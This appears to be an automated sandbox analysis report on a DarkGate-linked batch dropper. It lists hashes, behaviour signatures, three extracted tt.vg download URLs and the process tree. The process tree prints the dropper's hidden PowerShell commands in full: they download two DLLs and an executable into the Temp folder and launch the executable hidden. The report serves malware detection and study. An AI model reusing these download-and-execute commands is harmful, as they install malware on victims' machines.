Analysis

  • max time kernel
    46s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    21-08-2024 20:17

General

  • Target

    exe/crypted/Dakrgate 5864 startup plus rootkit/Batch file for 5864v dll crypted darkgate/update.bat

  • Size

    6KB

  • MD5

    97b7c88a02b2a5214d742b7ed50f4544

  • SHA1

    15bf7dd44049b94db1a82504802ead45f6186fa0

  • SHA256

    20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6

  • SHA512

    918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25

  • SSDEEP

    192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\exe\crypted\Dakrgate 5864 startup plus rootkit\Batch file for 5864v dll crypted darkgate\update.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2636
  • C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    1⤵
      PID:2640
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x440
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2820

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      1324193511cba097f81cdf83afc01e31

      SHA1

      e0cc68ed16dee7917095ed626fd60f0da58005e5

      SHA256

      ae1c754e388a05c11806f230f3d99dc4c9bcc1d37f86eb2d3178a281df998ad1

      SHA512

      61c3cca822377000a7f39281ae16688df1c9b6753a6ed0a9cc662255d23ee60844bbe361bd78a846d472a4b218b22f103fd2b33692f388db3912df3eab728b7d

    • memory/2636-23-0x00000000024E0000-0x00000000024E8000-memory.dmp

      Filesize

      32KB

    • memory/2636-22-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

      Filesize

      2.9MB

    • memory/2828-12-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-8-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-9-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-10-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-11-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-4-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

      Filesize

      4KB

    • memory/2828-13-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

      Filesize

      4KB

    • memory/2828-14-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-15-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-16-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-7-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

      Filesize

      9.6MB

    • memory/2828-6-0x0000000002490000-0x0000000002498000-memory.dmp

      Filesize

      32KB

    • memory/2828-5-0x000000001B220000-0x000000001B502000-memory.dmp

      Filesize

      2.9MB